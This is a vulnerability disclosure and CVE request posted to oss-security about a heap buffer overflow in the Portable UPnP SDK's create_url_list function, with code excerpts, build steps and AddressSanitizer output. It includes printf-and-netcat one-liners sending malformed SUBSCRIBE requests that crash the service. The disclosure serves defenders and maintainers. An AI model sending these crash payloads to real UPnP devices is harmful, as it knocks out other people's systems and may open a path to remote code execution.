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Date: Tue, 6 Sep 2016 23:56:33 -0400
From: Scott Tenaglia <scott.tenaglia@...incea.com>
To: oss-security@...ts.openwall.com, cve-assign@...re.org
Subject: CVE Request - Portable UPnP SDK 1.6.19 through 1.8.x

Portable UPnP SDK: https://sourceforge.net/projects/pupnp/
Bug report: https://sourceforge.net/p/pupnp/bugs/133/

There is a heap buffer overflow vulnerability in the create_url_list
function in upnp/src/gena/gena_device.c. I first discovered this
vulnerability when working with version 1.6.19 and have confirmed that it
also exists in the latest code on the master branch (1.8.x). At the very
least a reliable denial of service condition can be created by crashing the
program.

The problem in create_url_list starts in the following for-loop. The point
of the loop is to parse the list of URIs enclosed in angled brackets (‘<‘
and ‘>’) in the CALLBACK header of a SUBSCRIBE request. If the call to
parse_uri() fails for any reason other than UPNP_E_OUTOF_MEMORY, or the
hostport field of the parsed URI has a size of zero, then the URLcount
variable will not be incremented. If 2 URIs are provided, with the first
one being correctly formatted, and the second not, then URLcount will equal
1 coming out of this loop.

    for( i = 0; i < URLS->size; i++ ) {
        if( ( URLS->buff[i] == '<' ) && ( i + 1 < URLS->size ) ) {
            if( ( ( return_code = parse_uri( &URLS->buff[i + 1],
                                             URLS->size - i + 1,
                                             &temp ) ) == HTTP_SUCCESS )
                && ( temp.hostport.text.size != 0 ) ) {
                URLcount++;
            } else {
                if( return_code == UPNP_E_OUTOF_MEMORY ) {
                    return return_code;
                }
            }
        }
    }

The next bit of code (abbreviated for readability) is where the overflow
actually occurs. The first conditional evaluates to true because URLcount
is 1. Next, a buffer is allocated (out->URLs) to hold a copy of the
original URI string. Then, an array of uri_type structs are allocated
(out->parsedURLs) to hold details of each parsed URI. The size of this
array is going to be 1, because URLcount is 1. The problem is that the
for-loop then parses the *original* URI string again. In fact, the only
real difference between this for-loop and the previous one is that the
parsed URIs are stored at successive indexes in the parsedURLs array
instead of a temporary variable. So when it gets to parsing the second URI
it passes out->parsedURLs[2] to the parse_uri() function, which is an
address passed the end of the allocated array. As parse_uri() populates
values of the struct it is writing passed the end of the array.

    if( URLcount > 0 ) {
        out->URLs = malloc(URLS->size + 1);
        out->parsedURLs = malloc(sizeof(uri_type) * URLcount);
        // omitted for readability
        memcpy( out->URLs, URLS->buff, URLS->size );
        out->URLs[URLS->size] = 0;
        URLcount = 0;
        for( i = 0; i < URLS->size; i++ ) {
            if( ( URLS->buff[i] == '<' ) && ( i + 1 < URLS->size ) ) {
                if( ( ( return_code =
                        parse_uri( &out->URLs[i + 1], URLS->size - i + 1,
                                   &out->parsedURLs[URLcount] ) ) ==
                      HTTP_SUCCESS )
                    && ( out->parsedURLs[URLcount].hostport.text.size !=
                         0 ) ) {
                    URLcount++;
                } else {
                    if( return_code == UPNP_E_OUTOF_MEMORY ) {
                        free( out->URLs );
                        free( out->parsedURLs );
                        out->URLs = NULL;
                        out->parsedURLs = NULL;
                        return return_code;
                    }
                }
            }
        }
    }

Depending on the format of the malformed URI different things happen.
Sometimes the overwrite has no noticeable impact, while other times it will
crash the program. At the very least it is possible to create a reliable
denial of service condition. It may also be possible to use this for remote
code execution.

Below are the steps that I used to trigger the vulnerability on both
version 1.6.19 and 1.8.0. They should be sufficient to recreate the issue.

First, compile for 32-bit with debugging enabled and an installation
directory set. The reason for the setting the installation directory and
compiling for 32-bits is so that “make install” results in a single binary
that is easy to debug.

./configure --prefix=<install dir> --enable-debug --host=i686-linux-gnu
CFLAGS="-m32 -fno-omit-frame-pointer" LDFLAGS=-m32
make clean;make install

To setup the default sample, which emulates a TV device, do the following
from the libupnp directory:
cd upnp/sample
mkdir tvdevice
cp -r web tvdevice

To run the sample change to the directory you just created and run the
binary:
cd tvdevice
../.libs/tv_device

With the sample running go to another terminal window. Enter the following
to create a non-malicious subscription message:
printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST:
0.0.0.0:49152\r\nCALLBACK:
<http://127.0.0.1:49153>\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n"
| nc 127.0.0.1 49152

One form of a malicious message will crash the application is:
printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST:
0.0.0.0:49152\r\nCALLBACK:
<http://127.0.0.1:49153><http://a:49153\r\nNT: upnp:event\r\nTIMEOUT:
Second-1801\r\n\r\n" | nc 127.0.0.1 49152

Another is:
printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST:
0.0.0.0:49152\r\nCALLBACK:
<http://127.0.0.1:49153><//:49153\r\nNT: upnp:event\r\nTIMEOUT:
Second-1801\r\n\r\n" | nc 127.0.0.1 49152

Below is the output of address sanitizer from either of the two requests
above (add “-fsanitize=address” to CFLAGS  during configure).

=================================================================
==13048== ERROR: AddressSanitizer: heap-buffer-overflow on address
0xeef07710 at pc 0xf698b0c3 bp 0xf1463998 sp 0xf1463988
WRITE of size 4 at 0xeef07710 thread T8
    #0 0xf698b0c2
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x460c2)
    #1 0xf698cb13
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x47b13)
    #2 0xf6992e1c
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4de1c)
    #3 0xf6993bae
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4ebae)
    #4 0xf69999f3
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x549f3)
    #5 0xf6964b8f
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fb8f)
    #6 0xf6964e58
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fe58)
    #7 0xf693baa4
(/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5aa4)
    #8 0xf6a02766 (/usr/lib/libasan.so.0.0.0+0x1b766)
    #9 0xf69f13bc (/usr/lib/libasan.so.0.0.0+0xa3bc)
    #10 0xf68feb2b (/usr/lib/libpthread-2.17.so+0x6b2b)
    #11 0xf683276d (/usr/lib/libc-2.17.so+0xf776d)
0xeef07710 is located 8 bytes to the right of 168-byte region
[0xeef07660,0xeef07708)
allocated by thread T8 here:
    #0 0xf69fe45f (/usr/lib/libasan.so.0.0.0+0x1745f)
    #1 0xf69928da
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4d8da)
    #2 0xf6993bae
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4ebae)
    #3 0xf69999f3
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x549f3)
    #4 0xf6964b8f
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fb8f)
    #5 0xf6964e58
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fe58)
    #6 0xf693baa4
(/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5aa4)
    #7 0xf6a02766 (/usr/lib/libasan.so.0.0.0+0x1b766)
    #8 0xf683276d (/usr/lib/libc-2.17.so+0xf776d)
Thread T8 created by T0 here:
    #0 0xf69f12ca (/usr/lib/libasan.so.0.0.0+0xa2ca)
    #1 0xf693be13
(/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5e13)
    #2 0xf693c882
(/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x6882)
    #3 0xf6967c74
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x22c74)
    #4 0xf69a2aee
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x5daee)
    #5 0xf69a2d2d
(/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x5dd2d)
    #6 0x804fc17
(/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x804fc17)
    #7 0x805056c
(/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x805056c)
    #8 0x8050631
(/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x8050631)
    #9 0xf6754942 (/usr/lib/libc-2.17.so+0x19942)
Shadow bytes around the buggy address:
  0x3dde0e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3dde0ea0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3dde0eb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3dde0ec0: fa fa fa fa fa fa fa fa fa fa fa fa 00 00 00 00
  0x3dde0ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x3dde0ee0: 00 fa[fa]fa fa fa fa fa fa fa 00 00 00 00 00 00
  0x3dde0ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3dde0f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3dde0f10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3dde0f20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3dde0f30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:     fa
  Heap righ redzone:     fb
  Freed Heap region:     fd
  Stack left redzone:    f1
  Stack mid redzone:     f2
  Stack right redzone:   f3
  Stack partial redzone: f4
  Stack after return:    f5
  Stack use after scope: f8
  Global redzone:        f9
  Global init order:     f6
  Poisoned by user:      f7
  ASan internal:         fe
==13048== ABORTING

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